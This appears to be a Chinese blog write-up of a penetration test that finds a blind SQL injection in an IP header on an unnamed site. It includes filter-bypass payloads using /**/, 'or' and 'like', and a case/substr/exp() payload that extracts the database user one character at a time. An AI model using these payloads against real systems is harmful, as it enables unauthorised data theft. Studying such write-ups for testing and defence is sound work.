這個注入挺特殊的，是ip頭注入。我們進行簡單的探測:

首先正常發起一次請求，我們發現content-type是76

 探測注入我習慣性的一個單引號:

一個單引號我發現長度還是76

我開始嘗試單引號，雙引號一起:

我失敗了長度還是76

一般sql注入輸入單引號一般長度都會有些變化。

　　我記錄深入探測，我輸入'--%20

返回了200，並且長度是0，這讓我產生了一絲好奇。這裡很有可能存在注入哦。

　　我繼續探測:

　　輸入--%20

嘶!我不禁開始懷疑這裡是不是本身就不存在安全問題呢？

　　我都感覺像是數字型別了，很顯然不是。。因為假設是數字型別注入輸入'--%20會報錯。

　　那麼究竟是什麼問題呢？我覺得應該是過濾了註釋符。過濾了--%20

　　我開始換一種方式進行探測:

　　　　　　我嘗試輸入'%20and%20'1'='1

返回200，長度為空，並且沒有報false的提示，我覺得有戲，我嘗試輸入'%20and%20'1'='2

輸出都一樣。。。太坑了吧，這裡我猜測可能過濾了and,也有可能過濾了空格

我們先把空格用+代替顯示:

輸入:'+and+'1'='1

返回長度還是76，繼續輸入:

'+and+'1'='2

沒任何變化。好了+號測試了不行，我們試試還有啥方法可以代替空格?

輸入'/**/and/**/'1'/**/=/**/'1:

返回長度76，繼續輸入:

'/**/and/**/'1'/**/=/**/'2

返回長度還是76。。沒任何變化。

現在測試了三種方法，那麼這裡繼續推測1.可能過濾了and 2.可能過濾了=號

基於這兩種過濾，我開始嘗試把and 替換成or，把=替換成/**/

　　再進行輸入新的payload:

'/**/or/**/'1'/**/like/**/'1

oh!我感覺我有希望了，他終於返回了不一樣的結果，接下來繼續探測:

輸入:'/**/or/**/'1'/**/like/**/'2

返回長度76，至此我可以很確認這是個sql注入。

現在我們在理清下思路:

　　1.使用like代替=

　　2.使用/**/代替空格

　　3.使用or代替and

　　然後我們構造如下payload進行探測資料庫user:

　　　　'/***/OR/****/1/****/like/****/case/****/when/****/substr(user,1,1)/**/Like/***/'a'/**/then/**/1/****/else/****/exp(1111)/**/end/***/and/**/ '1'='1

　　　　成功遍歷出資料庫第一位是J:

然後我們依次往下遍歷就是了就能得到完整的user內容。

簡單的演示下整個注入的過程。

這次遇到的注入讓我知道了，堅持就是勝利!